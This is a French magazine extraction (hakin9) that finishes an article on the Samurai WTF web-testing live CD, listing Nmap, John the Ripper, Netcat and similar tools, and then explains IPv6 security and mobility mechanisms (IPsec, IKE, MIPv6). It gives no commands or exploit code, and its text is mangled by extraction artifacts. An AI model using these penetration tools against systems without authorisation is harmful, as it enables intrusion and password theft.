dule permettant de reacutecupeacuterer la liste des noms de do-maine heacutebergeacutes par une adresse IP donneacutee

Webshag propose une interface graphique tregraves sim-ple et tregraves intuitive Il existe eacutegalement une version en ligne de commande pour la version GNULinux pour les plus teacutemeacuteraires drsquoentre vous

ZeNmapZeNmap est simplement lrsquointerface graphique du ceacutelegrave-bre outil Nmap (voir Figure 14) Nmap est reacuteputeacute pour ecirctre un excellent outil utilisable uniquement en ligne de commande pouvant deacutecourager les moins teacutemeacuterai-res drsquoentre nous Les balayages proposeacutes par ZeN-

Figure 16 John The Ripper en ligne de commande

Figure 17 Le fameux utilitaire Nmap

Samurai proteacutegez vos applications web

hakin9orgfr 39

map vont du simple scan aux scans tregraves speacutecifiques en passant par la deacutetection de systegravemes drsquoexploita-tion distants Lrsquoensemble de ces choix seffectue gracircce agrave une listbox rendant les configurations vraiment tregraves simples Voici agrave quoi ressemble cette interface graphi-que

Les sorties de ZeNmap sont tregraves claires et compreacute-hensibles comparativement aux lignes de commande de la version classique Il est possible drsquoutiliser les profils preacutedeacutefinis par ZeNmap (Intense Scan Quick Scan Operating System Detection etc) ou de taper directement les commandes dans la partie preacutevue agrave cet effet pour les plus confirmeacutes cherchant un reacutesul-tat preacutecis

Malgreacute des menus complets certains outils ne sont pas disponibles agrave partir des menus que proposent Sa-murai WTF et sont donc uniquement accessibles via la ligne de commande (voir Figure 15)

Parmi ces outils on retrouve

bull Dnswalk Dnswalk est un deacutebuggeur de DNS Il exeacutecute des transferts de zone sur les domaines in-diqueacutes et veacuterifie de plusieurs maniegraveres linteacutegriteacute et lexactitude de la base de donneacutees

bull Httping Httping correspond au ping pour les re-quecirctes HTTP Si la requecircte ne reacutepond pas il se peut que la page nrsquoexiste pas ou bien qursquoil y ait un souci relatif au serveur (preacutesence drsquoun fi-rewall)

bull Httrack Httrack est simplement un aspirateur de site cest-agrave-dire qursquoil vous donne la possibiliteacute de teacuteleacutecharger lrsquointeacutegraliteacute drsquoune application web sur votre disque dur personnel en construisant reacutecur-sivement tous les reacutepertoires reacutecupeacuterant HTML images et fichiers du serveur vers votre ordina-teur Httrack reacuteorganise la structure des liens en relatif

bull JTR JTR ou est un puissant crackeur de mot de passe en ligne de commande fonctionnant tant sous Windows que sous GNULinux John The Rip-per procegravede agrave des attaques par bruteforce cest-agrave-dire en tentant toutes les combinaisons possibles (voir Figure 16)

bull Netcat Netcat est un utilitaire entiegraverement en ligne de commande permettant douvrir des connexions reacuteseau que ce soit UDP ou TCP En raison de sa polyvalence netcat est aussi appeleacute le couteau suisse TCPIP Il peut ecirctre utiliseacute pour connaicirctre leacutetat des ports par exemple

bull Nmap Nmap est tregraves certainement le scanneur de ports le plus connu et le plus utiliseacute dans le monde de la seacutecuriteacute informatique (mecircme Trini-ty lrsquoutilise) ainsi que par les administrateurs reacute-seau Il est principalement conccedilu pour deacutetec-ter les ports ouverts identifier les services ainsi qursquoobtenir des informations sur le systegraveme drsquoex-

ploitation Bien que tregraves petit nmap est un lo-giciel extrecircmement complet permettant drsquoobtenir des reacutesultats fort inteacuteressants (voir Figure 17)

bull Snarf Snarf est un simple petit utilitaire en ligne de commande permettant de transfeacuterer des fichiers via les protocoles HTTP gopher finger et FTP sans aucune interaction avec lrsquoutilisateur

Le LiveCD Samurai dispose eacutegalement de plusieurs outils non relatifs agrave la seacutecuriteacute informatique permet-tant simplement de faire de Samurai une distribution complegravete Vous retrouverez ainsi des programmes comme Wine permettant drsquoeacutemuler des programmes Windows dans un environnement Linux Des logiciels pour eacutecouter de la musique ou pour acceacuteder agrave Inter-net dans de bonne condition sont eacutegalement disponi-bles

ConclusionLrsquoensemble des outils preacutesents dans le live CD Sa-murai Web Testing Framework permet de le classer parmi les frameworks les plus complets en matiegravere de peacuteneacutetration des applications web Bien que Sa-murai WTF soit encore un projet tregraves jeune il dispo-se deacutejagrave drsquoune grande maturiteacute lui permettant drsquoavoir une place bien preacutesente dans le milieu de la seacutecu-riteacute web

Samurai WTF est en constante eacutevolution et integravegre de plus en plus drsquooutils que les professionnels de la seacutecuri-teacute utilisent reacuteguliegraverement afin de satisfaire parfaitement leurs besoins

Samurai WTF est donc une distribution sur laquelle il est important de garder un œil tant son eacutevolution est impressionnante et son utilisation de plus en plus freacute-quente chez les professionnels

Nous vous rappelons eacutegalement que lrsquoensemble de ces outils bien que gratuits sont soumis agrave cer-taines restrictions qursquoil est tenu de connaitre avant toute utilisation Ces outils sont entiegraverement leacutegaux mais il nrsquoest autoriseacute de les utiliser que contre son propre reacuteseau agrave moins drsquoavoir les autorisations neacute-cessaires Page daccueil httpsamuraiinguar-dianscom

a prOpOD De LauteurReacutegis SENET est actuellement eacutetudiant en quatriegraveme anneacutee agrave lrsquoeacutecole Supeacuterieur drsquoinformatique Supinfo Passionneacute par les tests drsquointrusion et les vulneacuterabiliteacutes Web il tente de deacuteco-uvrir la seacutecuriteacute informatique drsquoun point de vue entreprise Il soriente actuellement vers le cursus CEH LPT et Offensive Se-curityContact regissenetsupinfocom

5201040

Pratique

Au moment de la deacutefinition dIPv6 de nouveaux besoins tels que la seacutecuriteacute la mobiliteacute sont ap-parus et ont pu ecirctre pris en compte lors de la

phase de standardisation Ce chapitre preacutesente quel-ques-uns de ces meacutecanismes qui repreacutesentent une grande avanceacutee de la couche reacuteseau

iPsecIPsec est le protocole speacutecifiquement conccedilu pour seacutecu-riser IPv6 Il permet de reacutealiser des reacuteseaux priveacutes Vir-tuels ou VPNs (Virtual Private Networks) au niveau IP et offre les services

bull drsquoauthentification des donneacuteesbull de chiffrement de donneacutees bull drsquointeacutegriteacute des donneacutees pour garantir que les paquets

nrsquoont pas eacuteteacute modifieacutes durant leur acheminementbull drsquoanti-rejeu afin de deacutetecter les eacuteventuels paquets

rejoueacutes par un attaquant

Toute impleacutementation IPv6 se doit de lrsquointeacutegrer dans sa pile Ce protocole est eacutegalement utilisable avec IPv4 mais lrsquoutilisation du NATPAT (Network Address Trans-lationProtocole Address Translation) en limite la mise en œuvre

Meacutecanismes iPsecIPsec deacutefinit 2 protocoles de seacutecurisation

bull AH (Authentication Header)bull ESP (Encryption Security Payload)

Les services de seacutecurisation offerts par ces 2 protoco-les sont distincts

bull AH permet de sassurer que leacutemetteur du message est effectivement celui quil preacutetend ecirctre Il sert aus-si au controcircle dinteacutegriteacute pour garantir au reacutecepteur que personne na modifieacute le contenu dun message lors de son acheminement et peut optionnellement ecirctre utiliseacute pour la deacutetection des rejeux

bull ESP offre les mecircmes services qursquoAH et permet en plus de chiffrer lensemble des paquets ou unique-ment la charge utile ESP garantit eacutegalement de fa-ccedilon limiteacutee linteacutegriteacute du flux

associations de seacutecuriteacuteAfin de seacutecuriser les eacutechanges les entiteacutes en preacutesence doivent bien eacutevidemment partager un ensemble com-mun drsquoinformations telles que le protocole IPsec usiteacute (AH ou ESP) les cleacutes les algorithmes hellip Ces diffeacuteren-tes informations constituent des associations de seacutecu-riteacute ou SA (Security Association)

Chaque association de seacutecuriteacute est identifieacutee de maniegravere unique par un triplet comprenant un index de paramegravetres de seacutecuriteacute SPI (Security Parameters Index) ladresse du destinataire IP et le protocole de seacutecuriteacute AH ou ESP

Meacutecanismes iPv6 avanceacutes

Depuis les anneacutees 80 lrsquoInternet connaicirct un succegraves incroyable La majeure partie des entreprises y est maintenant directement connecteacutee le nombre de particuliers deacutetenteurs drsquoun abonnement Internet aupregraves drsquoun FAI (Fournisseur drsquoAccegraves Internet) est en croissance constante

Cet article expliquebull Cet article est destineacute agrave vous faire appreacutehender les techniqu-

es fondamentales drsquoIPv6 le nouveau mode drsquoadressage les meacutecanismes de communication sous-jacents la configuration automatique hellip bref lrsquoensemble des protocoles basiques qui composent lrsquoarchitecture drsquoIPv6

Ce quil faut savoirbull Pour appreacutehender au mieux cet article il est preacutefeacuterable drsquoavoir

des connaissances relativement solides drsquoIPv4 et en particu-lier du modegravele en couche TCPIP Il est bien eacutevidemment judi-cieux drsquoavoir eacutegalement au preacutealable appreacutehendeacute les notions expliciteacutees dans lrsquoarticle preacuteceacutedent

Freacutedeacuteric roudaut

Meacutecanismes iPv6 avanceacutes

hakin9orgfr 41

ces 2 valeurs coiumlncident lrsquointeacutegriteacute ainsi que lrsquoauthentifica-tion des champs concerneacutes est assureacutee Ces champs dif-fegraverent selon le mode usiteacute transport ou tunnel

Le rejeu des paquets est quant agrave lui deacutetecteacute par le champ Sequence Number increacutementeacute agrave chaque paquet et eacutegalement proteacutegeacute par le champ ICV

Mode transportEn mode Transport lrsquoextension AH est inseacutereacutee apregraves lrsquoen-tecircte IPv6 et avant les en-tecirctes de niveau transport (TCP UDP) De plus AH eacutetant vue comme une extension drsquoen-tecircte traiteacutee de bout en bout de la communication celle-ci apparait apregraves les extensions drsquoen-tecircte Hop-By-Hop Op-tion Header Routing Header et Fragment Header Lrsquoex-tension drsquoen-tecircte Destination Options Header est quant agrave elle placeacutee indiffeacuteremment avant ou apregraves

Lrsquoauthentification et lrsquointeacutegriteacute portent donc sur

bull les octets situeacutes au dessus de lrsquoextension drsquoen-tecircte AHbull certains champs de lrsquoen-tecircte IPv6 invariants lors de

lrsquoacheminement du paquetbull certains champs invariants des extensions drsquoen-tecircte

positionneacutees avant AH

Les extensions drsquoen-tecircte positionneacutees apregraves AH ne sont pas modifieacutees durant lrsquoacheminement des paquets agrave ce titre elles sont proteacutegeacutees par le champ ICV Cet-te protection diffegravere pour les extensions drsquoen-tecirctes po-sitionneacutes avant AH certains champs pouvant ecirctre alteacute-reacutes par les routeurs preacutesents le long du chemin

Les sous-options preacutesentes dans les extensions headers Hop-By-Hop et Destination Options Header disposent drsquoun bit positionneacute agrave 1 si lrsquooption peut ecirctre modifieacutee le long du trajet Dans le cas ougrave ce bit nrsquoest pas positionneacute la sous-option est proteacutegeacutee dans le cas contraire les octets de la sous-option sont positionneacutes agrave 0 lors du calcul de lrsquoICV

Cette protection ne srsquoapplique pas non plus sur lrsquoex-tension Fragment Headers qui apparaicirct uniquement apregraves la phase drsquoauthentification

La Figure 2 montre ainsi le positionnement de lrsquoexten-sion drsquoen-tecircte AH en mode transport ainsi que la porteacutee de lrsquoauthentificationinteacutegriteacute

Mode tunnelEn mode Tunnel lrsquoextension AH est inseacutereacutee avant lrsquoen-tecircte IPv6 Un nouvel en-tecircte IPv6 est alors inseacutereacute en tecircte La Figure 3 et le Tableau 2 preacutesentent le mode de construction de ce ne nouvel en-tecircte ainsi que le posi-tionnement des champs de lrsquoen-tecircte Inteacuterieur

eSP (encryption Security Payload)La mise en œuvre drsquoESP repose sur une extension drsquoen-tecircte speacutecifique Celle-ci se deacutecompose en 2 par-ties La premiegravere partie preacutecegravede les donneacutees agrave proteacute-ger la deuxiegraveme termine le paquet et contient un eacuteven-tuel ICV pour proteacuteger le paquet en authentification

Une association de seacutecuriteacute est unidirectionnelle Une communication bidirectionnelle entre 2 entiteacutes neacutecessi-te donc lutilisation de 2 associations de seacutecuriteacute

Mode transport et tunnelLes normes IPsec deacutefinissent deux modes distincts dopeacute-ration IPsec le mode Transport et le mode Tunnel Le mode Tunnel ne fonctionne que pour les datagrammes IP-in-IP En mode Tunnel le paquet IP interne deacutetermine la strateacutegie IPsec qui protegravege son contenu tandis qursquoen mode Transport len-tecircte exteacuterieur deacutetermine la strateacutegie IPsec qui protegravege le paquet IP interne Contrairement au mode Transport le mode Tunnel ne permet pas agrave len-tecircte IP exteacuterieur de dicter la strateacutegie de son datagramme IP interne Enfin dans les 2 modes lrsquoen-tecircte exteacuterieur est partiellement proteacutegeacute mais le mode Tunnel a lrsquoavantage de proteacuteger inteacutegralement son en-tecircte exteacuterieur pouvant ainsi se reacuteveacuteler fortement utile pour la creacuteation de VPN

aH (authentication Header)La mise en œuvre drsquoAH repose sur une extension drsquoen-tecircte speacutecifique deacutefinie dans la Figure 1

Le rocircle des diffeacuterents champs de lrsquoextension drsquoen-tecircte AH est preacuteciseacute dans le Tableau 1

NB Faute de place certaines figures ont ete suppri-mees Vous pouvez le telecharger sur le site wwwha-kin9orgfr

Protection aH et algorithmesAH suppose geacuteneacuteralement une impleacutementation des al-gorithmes suivants

bull HMAC-MD5-96 (Peut ecirctre impleacutementeacute) cet algo-rithme produit une empreinte sur 128 bits tronqueacutee agrave 96 bits pour le champ ICV de AH

bull HMAC-SHA1-96 (Doit ecirctre impleacutementeacute) cet algo-rithme produit une empreinte sur 160 bits tronqueacutee agrave 96 bits pour le champ ICV de AH

bull AES-XCBC-MAC-96 (Devrait ecirctre impleacutementeacute) ce protocole utilise le chiffrement par bloc AES dans un mode dopeacuteration de type compteur coupleacute agrave co-de dauthentification MAC (CBC-MAC) Le comp-teur sert agrave assurer un chiffrement sucircr en eacutevitant davoir un vecteur dinitialisation identique pour cha-que message alors que le code dauthentification permet de veacuterifier que le message na pas eacuteteacute alteacute-reacute Cet algorithme produit eacutegalement une empreinte sur 96 bits pour le champ ICV de AH

Drsquoautres algorithmes sont bien entendu utilisables mais ceux preacuteciseacutes ci-dessus repreacutesentent lrsquoensemble commun minimum des impleacutementations drsquoAH

Lors de la reacuteception drsquoun paquet AH la pile IPsec deacutetec-te lrsquoassociation de seacutecuriteacute concerneacutee en deacuteduit les algo-rithmes et les cleacutes associeacutees calcule la valeur du champ ICV et la compare avec la valeur fournie Dans le cas ougrave

5201042

Pratique

Ces 2 parties sont deacutefinies dans la Figure 4Le rocircle des diffeacuterents champs de lrsquoextension drsquoen-tecircte

ESP est preacuteciseacute dans le Tableau 3

Protection eSP et algorithmesLa protection drsquoESP repose sur le choix des algorith-mes drsquoauthentification et de chiffrements Ils sont soit distincts soit combineacutes cest-agrave-dire qulsquoauthentification et chiffrement sont reacutealiseacutes par le mecircme algorithme

Dans le cas drsquoune protection combineacutee ESP suggegravere lrsquoutilisation drsquoAES-CCM ou AES-GCM deacutejagrave utiliseacute pour respectivement le 80211i et le 8021ae

Dans le cas drsquoune protection seacutepareacutee ESP suppo-se geacuteneacuteralement une impleacutementation des algorithmes drsquoauthentification suivants

bull NULL Authentication (Peut ecirctre impleacutementeacute)bull HMAC-MD5-96 (Peut ecirctre impleacutementeacute) cet algo-

rithme produit une empreinte sur 128 bits tronqueacutee agrave 96 bits pour le champ ICV de AH

bull HMAC-SHA1-96 (Doit ecirctre impleacutementeacute) cet algo-rithme produit une empreinte sur 160 bits tronqueacutee agrave 96 bits pour le champ ICV de AH

bull AES-XCBC-MAC-96 (Devrait ecirctre impleacutementeacute) ce protocole utilise le chiffrement par bloc AES dans un mode dopeacuteration de type compteur cou-pleacute agrave code dauthentification MAC (CBC-MAC) Le compteur sert agrave assurer un chiffrement sucircr en eacutevitant davoir un vecteur dinitialisation identique pour chaque message alors que le code dauthen-tification permet de veacuterifier que le message na pas eacuteteacute alteacutereacute Cet algorithme produit eacutegalement une empreinte sur 96 bits pour le champ ICV de AH

Les algorithmes de chiffrements deacutefinis sont alors les suivants

bull NULL Encryption (Doit ecirctre impleacutementeacute)

bull AES-CBC (Doit ecirctre impleacutementeacute) AES supporte 3 tailles de cleacute 128 192 et 256 bits La taille de cleacute par deacutefaut est de 128 bits AES-CBC neacutecessite un IV de 16 octets

bull 3DES-CBC (Doit ecirctre impleacutementeacute) cet algorithme utilise une cleacute effective de 192 bits Il est reacutealiseacute par application de 3 DES-CBC chacun utilisant une cleacute de 64 bits (dont 8 bits de pariteacute) 3DES-CBC neacuteces-site un IV de 8 octets

bull AES-CTR (Devrait ecirctre impleacutementeacute) AES en mo-de compteur supporte 3 tailles de cleacute 128 192 et 256 bits La taille de cleacute par deacutefaut est de 128 bits AES-CTR neacutecessite un IV de 16 octets

bull DES-CBC (Ne devrait pas ecirctre impleacutementeacute)

Drsquoautres algorithmes sont bien entendu utilisables mais ceux preacuteciseacutes ci-dessus repreacutesentent lrsquoensem-ble commun minimum des impleacutementations drsquoESP Il est agrave noter qursquoune association de seacutecuriteacute ESP ne doit agrave aucun moment utiliser conjointement un algo-rithme drsquoauthentification et de chiffrement nul

En mode tunnel ESP depuis sa derniegravere version pro-pose un mode de confidentialiteacute de flux par lrsquoutilisation du champ TFC Ce champ permet drsquoadjoindre des octets de bourrage de taille aleacuteatoire La taille de ce champ nrsquoeacutetant preacuteciseacutee par aucun autre champ elle peut ecirctre deacuteduite du champ Payload Length de lrsquoen-tecircte IP inteacuterieure au tunnel Ce champ TFC pourrait eacutegalement ecirctre utiliseacute en mode transport agrave condition bien entendu que le proto-cole de niveau transport comporte une indication sur la taille de sa charge utile (cas de TCP UDP ICMP)

Lors de la reacuteception drsquoun paquet ESP la pile IPsec deacutetecte lrsquoassociation de seacutecuriteacute concerneacutee et en deacuteduit les algorithmes et les cleacutes associeacutees

Si la protection en authentification est activeacutee le reacutecep-teur calcule lrsquoICV sur le paquet ESP sans ce champ ICV Si le champ calculeacute coiumlncide avec le champ transmis lrsquointeacutegriteacute est assureacutee sur les champs concerneacutes Ces champs diffegraverent selon le mode usiteacute transport ou tun-

table 1 Rocircle des diffeacuterents champs de lrsquoextension drsquoen-tecircte AH

Champs Taille RocircleNext Header 8 bits Deacutecrit lrsquoen-tecircte de la couche immeacutediatement supeacuterieure ou la prochaine exten-

sion drsquoen-tecircte Similaire au champ Protocol en IPv4

Payload Len 8 bits Speacutecifie la longueur -2 en mots de 32 bits de lrsquoextension drsquoen-tecircte AH

RESERVED 16 bits Positionneacute agrave 0

SPI 32 bits Security Parameters Index utiliseacute par le reacutecepteur pour trouver lrsquoassociation de seacutecuriteacute agrave utiliser

Sequence Number

32 bits Compteur increacutementeacute agrave chaque paquet Permet en particulier de deacutetecter le re-jeu

ICV VariableSelon lrsquoalgorithme usiteacute

Integrity Check Value Destineacute agrave la validation de lrsquointeacutegriteacute du paquet Doit ecirctre un multiple de 32 bits

Padding Variable Utiliseacute pour des besoins drsquoalignement drsquoen-tecircte Sa taille est telle que lrsquoextension drsquoen-tecircte AH est un multiple de 64 bits (32 bits pour IPv4)

Meacutecanismes iPv6 avanceacutes

hakin9orgfr 43

nel Vient ensuite le deacutechiffrement du paquet avec lrsquoalgo-rithme et la cleacute fournie par lrsquoassociation de seacutecuriteacute

Le rejeu des paquets est quant agrave lui deacutetecteacute agrave la ma-niegravere drsquoAH par le champ Sequence Number increacutementeacute agrave chaque paquet et eacutegalement proteacutegeacute par le champ ICV

Mode transportEn mode Transport lrsquoextension ESP est inseacutereacutee de la mecircme maniegravere que lrsquoextension AH apregraves lrsquoen-tecircte IPv6 et avant les en-tecirctes de niveau transport (TCP UDP) ESP eacutetant eacutegalement vue comme une extension drsquoen-tecircte traiteacutee de bout en bout de la communication el-le apparaicirct apregraves les extensions drsquoen-tecircte Hop-By-Hop Option Header Routing Header et Fragment Header Lrsquoextension drsquoen-tecircte Destination Options Header est quant agrave elle placeacutee indiffeacuteremment avant ou apregraves

Le chiffrement porte donc sur les octets situeacutes au dessus de lrsquoextension drsquoen-tecircte ESP agrave lrsquoexception des champs SPI Sequence Number ICV

Lrsquoauthentification eacuteventuelle reacutealiseacutee par le champ ICV porte sur lrsquoensemble des octets situeacutes au dessus de lrsquoextension drsquoen-tecircte ESP La Figure 5 montre ainsi le positionnement de lrsquoextension drsquoen-tecircte ESP en mode transport ainsi que la porteacutee de lrsquoauthentificationinteacute-griteacute et du chiffrement

Mode tunnelEn mode Tunnel lrsquoextension ESP est inseacutereacutee avant lrsquoen-tecircte IPv6 Un nouvel en-tecircte IPv6 est alors inseacutereacute en tecircte La Figure 6 et le tableau 4 preacutesentent le mode de construction de ce ne nouvel en-tecircte ainsi que le posi-tionnement des champs de lrsquoen-tecircte Inteacuterieur Dans le cas drsquoune utilisation en mode tunnel la totaliteacute du pa-quet initial est donc chiffreacutee

topologies de mises en œuvre IPsec a un inteacuterecirct majeur principalement par son mode ESP dans le cas ougrave nous souhaitons

bull chiffrer etou authentifier du trafic de bout en bout ou jusqursquoagrave une passerelle Dans ce cas les entiteacutes en

preacutesence doivent preacutefeacuterentiellement disposer drsquoun adressage public le NAT eacutetant assez difficilement compatible avec IPsec Une telle topologie a un inteacute-recirct majeur pour assurer la confidentialiteacute entre 2 enti-teacutes ou pour un utilisateur nomade par exemple

bull creacuteer un VPN entre sites distants Ce besoin inter-vient pour par exemple interconnecter des reacuteseaux priveacutes distants au travers dun reacuteseau public

Ces 2 modes opeacuterationnels sont reacutesumeacutes dans la Fi-gure 7 Dans cette figure la protection est symeacutetrique ce qui nrsquoest pas forceacutement le cas les associations de seacutecuriteacute eacutetant unidirectionnelles

iKe (internet Key exchange)Il a eacuteteacute preacuteceacutedemment indiqueacute qursquoAH et ESP neacutecessi-taient des cleacutes de chiffrements par le biais des associa-tions de seacutecuriteacute Cette gestion des cleacutes peut donc ecirctre manuelle mais dans un environnement conseacutequent une telle gestion devient irreacutealisable De plus cette meacutethode implique une deacutefinition totalement statique des associa-tions de seacutecuriteacute et un non-renouvellement des cleacutes

Le protocole IKE a donc eacuteteacute deacuteveloppeacute pour une ges-tion automatique des associations de seacutecuriteacute en parti-culier des cleacutes ainsi que des algorithmes agrave utiliser

IKE fait appel aux eacuteleacutements suivants

bull un protocole de gestion des associations de seacutecuri-teacute ISAKMP (Internet Security Association and Key Management Protocol) deacutefinissant des formats de paquets pour creacuteer modifier et deacutetruire des asso-ciations de seacutecuriteacute Ce protocole sert eacutegalement de support pour leacutechange de cleacutes preacuteconiseacute par les pro-tocoles de gestion de cleacutes Il assure aussi lauthenti-fication des partenaires dune communication

bull un protocole deacutechange de cleacutes de session fondeacute sur SKEME et Oakley qui repose sur la geacuteneacuteration de secrets partageacutes Diffie-Hellman

bull un domaine dinterpreacutetation ou DOI (Domain of In-terpretation) qui deacutefinit tous les paramegravetres propres agrave lenvironnement IPsec agrave savoir les protocoles

table 2 Construction de lrsquoen-tecircte IPv6 exteacuterieure pour AH en mode tunnel

Champs de lrsquoen-tecircte IPv6 en-tecircte Exteacuterieur en-tecircte InteacuterieurVersion Positionneacute agrave la valeur 6 Aucune modification

DS Copieacute depuis lrsquoen-tecircte inteacuterieur Aucune modification

ECN Copieacute depuis lrsquoen-tecircte inteacuterieur Positionneacute agrave 0

Flow Label Copieacute depuis lrsquoen-tecircte inteacuterieur ou configureacute Aucune modification

Payload Length Construit Aucune modification

Next Header Positionneacute agrave la valeur de AH (51) Aucune modification

Hop Limit Construit Deacutecreacutementeacute drsquoune uniteacute

Source Address Construit Aucune modification

Destination Address Construit Aucune modification

Extensions Headers Jamais copieacute mais peut apparaicirctre en postambule Aucune modification

5201044

Pratique

deacutechanges de cleacutes les paramegravetres dassociations de seacutecuriteacute agrave neacutegocier hellip

bull les cleacutes utiles lors de lauthentification mutuelle des eacutequipements IPsec qui intervient en preacutealable agrave toute neacutegociation dassociation de seacutecuriteacute Ces cleacutes peu-vent ecirctre des cleacutes partageacutees (pre-shared key) preacutecon-figureacutees par ladministrateur ou des cleacutes priveacuteespubli-ques personnelles agrave chaque eacutequipement IPsec et preacute-chargeacutees dans les eacutequipements ou encore un certifi-cat eacutelectronique geacutereacute par une infrastructure agrave cleacutes pu-bliques (PKI Public Key Infrastructure)

A lrsquoheure actuelle deux versions cohabitent IKEv1 tregraves complexe et IKEv2 qui en est une version simplifieacutee pour sa mise en œuvre ainsi que par son meacutecanisme

Mobiliteacute de Machines MiPv6En termes de mobiliteacute deux meacutecanismes principaux se distinguent la micro-mobiliteacute et la macro-mobiliteacute La micro-mobiliteacute est celle utiliseacutee entre autres par le wifi Les entiteacutes en cours de deacuteplacement sassocient de nouveau agrave des stations de base et conservent leur possibiliteacute de connectiviteacute au sein drsquoun domaine Cette gestion des handovers est relativement fine et limite la signalisation au sein du reacuteseau Ces meacutecanismes sont cependant peu efficaces au sein de plusieurs domai-nes En effet les adresses IP sont dans ce dernier cas reneacutegocieacutees pour mapper au domaine et pouvoir ainsi ecirctre routables

La macro-mobiliteacute reacutesout ce problegraveme en conservant une connectiviteacute IP mecircme lors drsquoun changement de do-maine Les adresses IP originelles continuent drsquoecirctre uti-liseacutees lors des communications De mecircme les sessions TCP peuvent ainsi rester fonctionnelles lors drsquoun deacutepla-cement entre domaines IPv6 integravegre ce concept dans le protocole MIPv6 (Mobile IPv6)

ConceptsAvant de poursuivre il convient de deacutefinir les mots cleacutes principaux utiliseacutes par MIPv6

bull Reacuteseau Megravere reacuteseau auquel la machine appar-tient initialement

bull Nœud correspondant machine dialoguant avec le mobile

bull Home Address adresse IPv6 dans le reacuteseau megraverebull Care-of Address adresse IPv6 dans le reacuteseau visiteacutebull Agent Megravere machine du reacuteseau megravere servant drsquoin-

terface entre le mobile et le nœud correspondant

MIPv6 utilise intensivement la notion de tunnels Scheacute-matiquement les paquets transmis par le mobile dans un reacuteseau eacutetranger passent par lrsquoAgent Megravere preacutesent dans le reacuteseau megravere avant drsquoecirctre retransmis au Nœud corres-pondant Le chemin de retour est identique Le routage sous-jacent apporte le paquet jusqursquoagrave lrsquoAgent Megravere qui le retransmet au mobile dans son reacuteseau visiteacute

Lrsquoagent megravere doit eacutegalement ecirctre capable agrave tout mo-ment de localiser ses mobiles en deacuteplacement Il utilise pour cela un cache baptiseacute Binding Cache associant Home Address et Care-of Address de ses diffeacuterents mo-biles Un meacutecanisme de signalisation proteacutegeacute par IPsec en mode ESP est par conseacutequent utiliseacute pour mettre agrave jour ce cache Il ne sera pas fait eacutetat des paquets MIPv6 ici il srsquoagit simplement de savoir que cette mise agrave jour srsquoeffectue agrave lrsquoaide de paquets particuliers nommeacutes Bin-ding Update Ceux-ci sont geacuteneacuteralement acquitteacutes par lrsquoAgent Megravere par des Binding Acknowledgment

Lrsquoensemble des meacutecanismes basiques de MIPv6 se situe au niveau de la couche IP dans le modegravele TCPIP Ils ont eacuteteacute modeleacutes pour permettre une communication avec des entiteacutes nrsquoayant pas conscience des protoco-les de mobiliteacute Ils nont aucun effet sur les couches de

table 3 Rocircle des diffeacuterents champs de lrsquoextension drsquoen-tecircte ESP

Champs Taille RocircleSPI 32 bits Security Parameters Index utiliseacute par le reacutecepteur pour trouver lrsquoassociation de seacutecuriteacute agrave

utiliser

Sequence Number 32 bits Compteur increacutementeacute agrave chaque paquet Permet en particulier de deacutetecter le rejeu

IV VariableSelon lrsquoalgorithme usiteacute

Vecteur drsquoinitialisation eacuteventuel pour les algorithmes de chiffrement

TFC Padding Variable Traffic Flow Confidentiality Utiliseacute pour une protection contre les attaques statistiques

Padding Variable Utiliseacute pour des besoins drsquoalignement drsquoen-tecircte Sa taille est telle que lrsquoextension drsquoen-tecircte ESP est un multiple de 64 bits (32 bits pour IPv4)

Pad Length 8 bits Indique la taille du champ Padding en octets

Next Header 8 bits Deacutecrit lrsquoen-tecircte de la couche immeacutediatement supeacuterieure ou la prochaine extension drsquoen-tecircte Similaire au champ Protocol en IPv4

ICV VariableSelon lrsquoalgorithme usiteacute

Integrity Check Value Destineacute agrave la validation de lrsquointeacutegriteacute du paquet Doit ecirctre un multiple de 32 bits

Meacutecanismes iPv6 avanceacutes

hakin9orgfr 45

niveau transport et applicative Pour le correspondant cette communication est totalement transparente

Mobiliteacute de Machines MiP6Le mobile situeacute dans son reacuteseau megravere utilise sa Home Address pour dialoguer de maniegravere classique avec des Nœuds correspondants Lorsqursquoil se deacuteplace dans un reacuteseau visiteacute la proceacutedure est la suivante

bull Le mobile obtient une nouvelle adresse IP par com-binaison de son adresse MAC et du nouveau preacute-fixe reacuteseau la Care-of Address Il dispose toujours de sa Home Address

bull Le mobile transmet un Binding Update agrave lrsquoagent megravere afin de mettre agrave jour son cache drsquoassociation Ce paquet eacutetant proteacutegeacute par IPsec en mode ESP lrsquoauthentification lrsquoanti-rejeu la confidentialiteacute et lrsquoin-teacutegriteacute sont assureacutes

bull Lrsquoagent megravere aura alors agrave charge de capturer les paquets auparativement transmis au mobile II uti-lise dans cette optique les possibiliteacutes offertes par le protocole de deacutecouverte des voisins (Neighbor Discovery) en annonccedilant son adresse MAC com-me destinataire de lrsquoensemble des paquets unicast agrave destination du mobile Les caches NDP des ma-chines preacutesentent sur le lien megravere seront ainsi re-mis agrave jour

bull Lorsque le mobile souhaite dialoguer avec un nœud correspondant il peut choir drsquoutiliser son nouvel adres-sage ou de masquer sa mobiliteacute par lrsquoutilisation de sa Home Address Dans ce dernier cas il construit un tunnel ESP avec son Agent Megravere et encapsule les pa-quets agrave destination de son correspondant Lrsquoadresse source de la partie interne est ainsi la Home Address lrsquoadresse destination est celle du correspondant

bull Le paquet parvient agrave lrsquoAgent Megravere qui veacuterifie son authentification le deacutechiffre le deacutesencapsule et le retransmet sur le reacuteseau

bull Le correspondant pourra y reacutepondre de maniegravere sy-meacutetrique Cette reacuteponse sera captureacutee par lrsquoAgent Megravere chiffreacutee et authentifieacutee avant drsquoecirctre retrans-mise au mobile dans le tunnel ESP En cas drsquoun deacute-placement en cours de communication le binding cache aura eacuteteacute actualiseacute permettant agrave lrsquoAgent megravere de retrouver son mobile

La Figure 8 positionne ces diffeacuterentes entiteacutes dans un contexte MIPv6

Optimisations de routesLes eacutechanges entre mobiles et correspondants nrsquoeacutetant pas toujours les plus optimums en matiegravere de routage MIPv6 integravegre un mode drsquooptimisation pour les corres-pondants inteacutegrant des fonctions speacutecifiques Il srsquoagit de supprimer simplement la passerelle occasionneacutee par lrsquoAgent Megravere

Pour cela MIPv6 deacutefinit 2 nouvelles options

bull Routing Header de type 2 qui est simplement une extension drsquoen-tecircte Routing Header contenant la Home Address du mobile

bull Home Address Option qui est une sous-option de lrsquoextension drsquoen-tecircte Destination Option Header trai-teacute uniquement par le reacutecepteur du paquet

Lorsquun correspondant supporte loptimisation de rou-tage il maintient tout comme lAgent Megravere une table des associations pour tous les mobiles avec lesquels il est en communication Une veacuterification axeacutee autour drsquoICM-Pv6 est preacutealable avant toute optimisation

